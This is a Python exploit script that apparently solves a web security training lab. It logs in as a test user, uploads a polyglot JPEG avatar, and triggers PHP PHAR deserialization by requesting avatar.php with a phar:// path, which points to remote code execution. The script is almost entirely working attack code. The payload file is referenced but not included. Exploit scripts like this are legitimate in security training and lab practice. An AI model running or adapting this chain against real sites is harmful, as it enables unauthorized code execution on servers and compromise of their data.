solve.py

import requests
from pathlib import Path
import re
class Exploit:
    def __init__(self, baseURL):
        self.baseURL = baseURL.rstrip("/")
        self.session = requests.session()
        self.username = "wiener"
        self.password = "peter"
        self.filename = "./avatar.jpg"
        self.field_name = "avatar"
        self.trigger = "phar://wiener"

    def extract_token(self, html):
        m = re.search(r'<input[^>]+type=["\']hidden["\'][^>]*name=["\']([^"\']*(?:csrf|token)[^"\']*)["\'][^>]*value=["\']([^"\']+)["\']', html, flags=re.IGNORECASE)
        if m:
            return m.group(1), m.group(2)
    def login(self):
        login_url = f"{self.baseURL}/login"
        try:
            r = self.session.get(login_url, timeout=10)
        except requests.RequestException as e:
            print(f"[!] GET /login failed: {e}")
            return False
        try:
            with open("login_page.html", "wb") as fh:
                fh.write(r.content)
        except Exception:
            pass
        csrf_name, csrf_value = self.extract_token(r.text)
        if csrf_name:
            print(f"[*] Found login CSRF token: {csrf_name} = {csrf_value[:8]}...")
        else:
            print("[*] No login CSRF token found; will try login without token.")
        data = {"username": self.username, "password": self.password}
        if csrf_name and csrf_value:
            data[csrf_name] = csrf_value
        try:
            r2 = self.session.post(login_url, data=data, allow_redirects=True, timeout=15)
        except requests.RequestException as e:
            print(f"[!] POST /login failed: {e}")
            return False
        print(f"[*] Login POST HTTP {r2.status_code}")
        print(f"    Cookies after login: {self.session.cookies.get_dict()}")
        return r2.status_code in (200, 302)
    
    # Upload FIle
    def upload_polygot(self):
        filePath = Path(self.filename)
        if not filePath.exists():
            print(f"[-] File Not Found: {filePath}")
            return False
        upload_url = f"{self.baseURL}/my-account?id={self.username}"
        try:
            f = open(filePath, "rb")
        except Exception as e:
            print(f"[-] Cannot open file: {e}")
            return False
        
        files = {
            self.field_name: (filePath.name, f, "image/jpeg")
        }
        response = self.session.post(upload_url, files=files, timeout=10)
        if response.status_code == 200:
            print(f"[+] Upload Success Fully")
            return True
        else:
            print(f"[-] Upload Failed")
    
    def trigger_shell(self):
        response = self.session.get(f"{self.baseURL}/cgi-bin/avatar.php?avatar={self.trigger}", timeout=10)
        if response.status_code in (200, 404):
            print(f"[+] Trigger Success. ", response.text)
            return True
        else:
            print(f"[-] Trigger Failed. Try Again")
            return False

if __name__ == "__main__":
    BASE_URL = "https://0a9c0041044d37858176024200ae008c.web-security-academy.net"
    exploit = Exploit(BASE_URL)
    if exploit.login():
        exploit.upload_polygot()
        exploit.trigger_shell()
    else:
        print(f"[-] NOT")